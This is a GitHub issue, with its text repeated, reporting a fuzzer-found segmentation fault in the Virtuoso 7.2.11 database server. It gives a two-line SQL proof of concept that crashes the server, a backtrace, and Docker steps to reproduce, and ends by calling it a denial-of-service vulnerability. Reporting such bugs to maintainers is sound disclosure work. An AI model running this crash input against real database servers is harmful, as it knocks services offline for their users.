The PoC is generated by my DBMS fuzzer. It can also be reproduced in the latest branch.
```SQL
CREATE TABLE v0 ( v1 INT NULL ) ;
 UPDATE v0 SET v1 = ( SELECT 2 AS zero_value ) + ( SELECT 2 AS zero_value ) WHERE v1 IN ( SELECT v1 FROM v0 ) ;
```

backtrace:
```c
#0 0xc28580 (dc_add_int+0x70)
#1 0x7534bf (code_vec_run_v+0x20f)
#2 0x7af01f (qn_input+0x38f)
#3 0x7af4c6 (qn_send_output+0x236)
#4 0x8214bd (set_ctr_vec_input+0x99d)
#5 0x7af05e (qn_input+0x3ce)
#6 0x7c1be9 (qr_dml_array_exec+0x839)
#7 0x7ce602 (sf_sql_execute+0x15d2)
#8 0x7cecde (sf_sql_execute_w+0x17e)
#9 0x7d799d (sf_sql_execute_wrapper+0x3d)
#10 0xe214bc (future_wrapper+0x3fc)
#11 0xe28dbe (_thread_boot+0x11e)
#12 0x7f7678682609 (start_thread+0xd9)
#13 0x7f7678452133 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.11
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
Fuzzer: Virtuoso 7.2.11 crashed at `dc_add_int`
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : Fuzzer: Virtuoso 7.2.11 crashed at `dc_add_int`
Issue date:

--- start body ---
The PoC is generated by my DBMS fuzzer. It can also be reproduced in the latest branch.
```SQL
CREATE TABLE v0 ( v1 INT NULL ) ;
 UPDATE v0 SET v1 = ( SELECT 2 AS zero_value ) + ( SELECT 2 AS zero_value ) WHERE v1 IN ( SELECT v1 FROM v0 ) ;
```

backtrace:
```c
#0 0xc28580 (dc_add_int+0x70)
#1 0x7534bf (code_vec_run_v+0x20f)
#2 0x7af01f (qn_input+0x38f)
#3 0x7af4c6 (qn_send_output+0x236)
#4 0x8214bd (set_ctr_vec_input+0x99d)
#5 0x7af05e (qn_input+0x3ce)
#6 0x7c1be9 (qr_dml_array_exec+0x839)
#7 0x7ce602 (sf_sql_execute+0x15d2)
#8 0x7cecde (sf_sql_execute_w+0x17e)
#9 0x7d799d (sf_sql_execute_wrapper+0x3d)
#10 0xe214bc (future_wrapper+0x3fc)
#11 0xe28dbe (_thread_boot+0x11e)
#12 0x7f7678682609 (start_thread+0xd9)
#13 0x7f7678452133 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.11
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
--- end body ---

A segmentation fault in the Virtuoso 7.2.11 database server occurs when executing a specific SQL query that involves subqueries and updates. This vulnerability can be exploited to cause a Denial of Service (DoS) by crashing the server when the provided SQL command is executed.